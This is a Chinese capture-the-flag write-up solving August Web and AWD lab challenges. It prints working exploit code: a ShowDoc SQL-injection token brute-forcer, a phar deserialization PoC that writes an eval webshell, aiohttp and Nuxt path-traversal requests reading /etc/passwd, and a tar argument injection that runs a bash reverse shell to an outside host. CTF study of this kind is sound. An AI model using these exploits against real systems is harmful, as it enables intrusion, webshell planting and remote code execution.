掌控安全CTF - 8月（WEB&AWD方向）

好久没更新了，水一篇。
  0x01 Web

1. web-php

标题代码如下：

1. <?php
2.         show_source(__FILE__);
3.         file($_POST['a']);
4. ?>

复制代码

老演员了，涉及PHP filter文件读取攻击，参考：PHP Filter链——基于oracle的文件读取攻击  ， 提示 flag 在 /flag 上，脚本一把梭。

2. web2

showdoc，跟着某些文章复现即可，我这个地方从暴破 token 到 phar 反序列化完整地走了一篇，就当复习知识点了。暴破 token 脚本如下：

1. import argparse
2. import ddddocr
3. import requests
4. import onnxruntime
5. from urllib.parse import urljoin
8. onnxruntime.set_default_logger_severity(3)
9. table = '0123456789abcdef'
10. proxies = {'http': 'http://127.0.0.1:8085'}
11. headers = {'Authorization': 'Basic emthcTp6a2Fx'}
12. ocr = ddddocr.DdddOcr()
13. ocr.set_ranges(table)
16. class RetryException(Exception):
17.     pass
20. def retry_when_failed(func):
21.     def retry_func(*args, **kwargs):
22.         while True:
23.             try:
24.                 return func(*args, **kwargs)
25.             except RetryException:
26.                 continue
27.             except Exception as e:
28.                 raise e
30.     return retry_func
33. def generate_captcha(base: str):
34.     data = requests.get(f"{base}?s=/api/common/createCaptcha", headers=headers).json()
35.     captcha_id = data['data']['captcha_id']
36.     response = requests.get(f'{base}?s=/api/common/showCaptcha&captcha_id={captcha_id}', headers=headers)
37.     data = response.content
38.     result = ocr.classification(data)
39.     return captcha_id, result
42. @retry_when_failed
43. def exploit_one(base: str, current: str, ch: str) -> str:
44.     captcha_id, captcha_text = generate_captcha(base)
45.     data = requests.get(base, params={
46.         's': '/api/item/pwd',
47.         'page_id': '0',
48.         'password': '1',
49.         'captcha_id': captcha_id,
50.         'captcha': captcha_text,
51.         'item_id': f"aa') UNION SELECT 1,1,1,1,1,(SELECT 1 FROM user_token WHERE uid = 1 AND token LIKE '{current}{ch}%' LIMIT 1),1,1,1,1,1,1 FROM user_token; -- "
52.     }, headers=headers).json()
54.     if data['error_code'] == 0:
55.         return ch
56.     elif data['error_code'] == 10010:
57.         return ''
58.     elif data['error_code'] == 10206:
59.         raise RetryException()
60.     else:
61.         print(f'error: {data!r}')
62.         raise Exception('unknown exception')
65. def main():
66.     parser = argparse.ArgumentParser(description='Showdoc 3.2.5 SQL injection')
67.     parser.add_argument('-u', '--url', type=str, required=True)
69.     args = parser.parse_args()
70.     target = urljoin(args.url, '/server/index.php')
71.     res = ''
72.     for i in range(64):
73.         r = ''
74.         for ch in list(table):
75.             r = exploit_one(target, res, ch)
76.             if r:
77.                 res += ch
78.                 break
80.         print(f'Current result: {res}')
81.         if not r:
82.             break
85. if __name__ == '__main__':
86.     main()

复制代码

运行结果如下：

然后共同 user_token 打前台反序列化，phar poc如下：

1. <?php
2. namespace GuzzleHttp\Cookie{
3.     class SetCookie
4.     {
5.         private $data = [];
6.         public function __construct()
7.         {
8.             $this->data = array("Discard"=>false,"poc"=>'<?php eval($_REQUEST[0]);?>');
9.         }
10.     }
12.     class CookieJar
13.     {
14.         /** @var SetCookie[] Loaded cookie data */
15.         private $cookies = [];
17.         public function __construct()
18.         {
19.             $this->cookies = [new SetCookie()];
20.         }
22.     }
24.     class FileCookieJar extends CookieJar
25.     {
26.         /** @var string filename */
27.         private $filename;
29.         /** @var bool Control whether to persist session cookies or not. */
30.         private $storeSessionCookies;
32.         public function __construct($cookieFile, $storeSessionCookies = false)
33.         {
34.             parent::__construct();
35.             $this->filename = $cookieFile;
36.             $this->storeSessionCookies = $storeSessionCookies;
38.         }
39.     }
40. }
42. namespace {
43.     $exampleWithClosure = new GuzzleHttp\Cookie\FileCookieJar("/var/www/html/Public/Uploads/shell.php",true);
44.     $phar=new phar('image.phar',0);
45.     $phar->startBuffering();
46.     $phar->setMetadata($exampleWithClosure);
47.     $phar -> setStub('GIF89a<?php __HALT_COMPILER();?>');
48.     $phar->addFromString("test.txt","test");
49.     $phar->stopBuffering();
50. }

复制代码

运行上述php脚本后，就已经拿到了token以及phar文件。然后修改该phar文件后缀为jpg，同时构造本地文件上传表单，上传phar文件到对应的网站。

1. <!DOCTYPE html>
2. <html lang="en">
3. <head>
4.     <meta charset="UTF-8">
5.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
6.     <title>Form Upload</title>
7. </head>
8. <body>
9.     <form action="http://dyvfgrqa.lab.aqlab.cn/server/index.php?s=/api/page/upload" method="post" enctype="multipart/form-data">
10.         <input type="hidden" name="user_token" value="5d302c5281dc08432a2e8d0ce47d832b074dc5f9f461720078cbfb26b667e463">
11.         <label for="file">Choose file to upload:</label>
12.         <input type="file" name="file" id="file"><br><br>
13.         <input type="submit" value="Upload">
14.     </form>
15. </body>
16. </html>

复制代码

上传后会返回 sign，如图：

访问对应的路径获取phar文件路径，如图：

访问phar文件路径，webshell被天生。

验证webshell有效性。

获取flag，如图：

3. Just A Index

aiohttp/3.9.1中存在路径遍历毛病，只需要找准一个基础路径，利用../遍历即可。参考：CVE-2024-23334 aiohttp路径遍历毛病 ，可以看到页面种加载了一张图片，路径是：/img/what.jpeg，可以基于/img举行路径遍历，如图：

0x02 AWD

1. Nothing

给了一个附件，从附件中可以分析出前端使用了 nuxt 框架，存在文件读取毛病，PoC如下：

1. GET /_nuxt/@fs/etc/passwd HTTP/1.1
2. Host: example.com

复制代码

获取flag，如图：

2. Scan

调用 nuclei 对目的网站举行扫描，给了附件，部分代码如下：

1. import flask
2. import subprocess
3. import re
5. app = Flask(__name__)
7. ... ...
9. @app.route('/submit', methods=['POST'])
10. def submit():
11.     ... ...
12.     if url is None:
13.         return "No URL！ ", 400
15.     if not url_pattern.match(url):
16.         return "URL格式错误！", 400
18.     if url:
19.         command = ['./nuclei', '--silent', '-u', url, '-t', '0day-templates.yaml']  
20.         try:
21.             result = subprocess.run(command, capture_output=True, text=True)
22.             print(result.stdout)
23.             if 'info' in result.stdout and '/api/v2/echo' in result.stdout and 'custom-templates' in result.stdout:
24.                 return flag
25.             else:
26.                 return "非常安全，没有问题！"
27.         except subprocess.CalledProcessError:
28.             return "Error occurred while running command"
29.     return "Invalid request"
31. if __name__ == '__main__':
32.     ... ...

复制代码

0day-templates.yaml文件内容如下：

这个地方直接用自己 vps伪造一个符合扫描规则的页面即可，代码如下：

1. from fastapi import FastAPI, Request
3. app = FastAPI()
5. @app.get('/api/v1/version/')
6. def api_version():
7.     response = {
8.         "version": "10.0.3",
9.         "NAME": "HACKER",
10.         "msg": "success"
11.     }
12.     return response
14. @app.get('/api/v2/echo/')
15. async def api_echo(request: Request):
16.     return "zkaq{a} <script>alert(1111)</script>"
18. if __name__ == '__main__':
19.     import uvicorn
20.     uvicorn.run(app, host="0.0.0.0", port=8081)

复制代码

扫描结果如下：

3. 压缩打包站

上传文件后，后端会存储用户的文件并将其打包并提供压缩包下载功能。给了附件，部分代码如下：

1. from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request
2. import uuid, os
5. app = Flask(__name__)
8. @app.before_request
9. def check_uuid():
10.     uuid_cookie = request.cookies.get('uuid', None)
12.     if uuid_cookie is None:
13.         response = make_response(redirect('/'))
14.         response.set_cookie('uuid', str(uuid.uuid4()))
15.         return response
16.    
17.     try:
18.         uuid.UUID(uuid_cookie)
19.     except ValueError:
20.         response = make_response(redirect('/'))
21.         response.set_cookie('uuid', str(uuid.uuid4()))
22.         return response
23.    
24.     g.uuid = uuid_cookie
26.     if not os.path.exists(f'uploads/{g.uuid}'):
27.         os.mkdir(f'uploads/{g.uuid}')
30. @app.route('/', methods=['GET'])
31. def main():
32.     return render_template('index.html', files=os.listdir(f'uploads/{g.uuid}'))
33.    
34.    
35. @app.route('/api/upload', methods=['POST'])
36. def upload():
37.     file = request.files.get('file', None)
38.     if file is None:
39.         return 'No file provided', 400
40.    
41.     # check for path traversal
42.     if '..' in file.filename or '/' in file.filename:
43.         return 'Invalid file name', 400
44.    
45.     # check file size
46.     if len(file.read()) > 1000:
47.         return 'File too large', 400
48.    
49.     file.save(f'uploads/{g.uuid}/{file.filename}')
50.     return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200
53. @app.route('/api/download', methods=['GET'])
54. def download():
55.     @after_this_request
56.     def remove_file(response):
57.         os.system(f"rm -rf uploads/{g.uuid}/out.tar")
58.         return response
60.     # make a tar of all files
61.     os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
63.     # send tar to user
64.     return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')
68. if __name__ == "__main__":
69.     app.run(host='0.0.0.0', port=2024, threaded=True)

复制代码

毛病触发点，关键在于：

1. os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

复制代码

此处涉及tar参数注入操作，具体原理参考：tar参数注入 ，构造文件命令如下：

1. echo 'bash -c "bash -i >& /dev/tcp/1.1.1.1/10086 0>&1"' | base64
2. echo "" > "--checkpoint-action=exec=echo [base64_reverseshell_payload] | base64 -d | bash" # 生成第一个文件
3. echo "" > --checkpoint=1 # 生成第二个文件
4. echo "" > test.txt # 生成第三个文件

复制代码

将三个文件分别上传，然后点击页面中的 download 下载压缩包。

vps吃到反弹shell，获取flag。

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。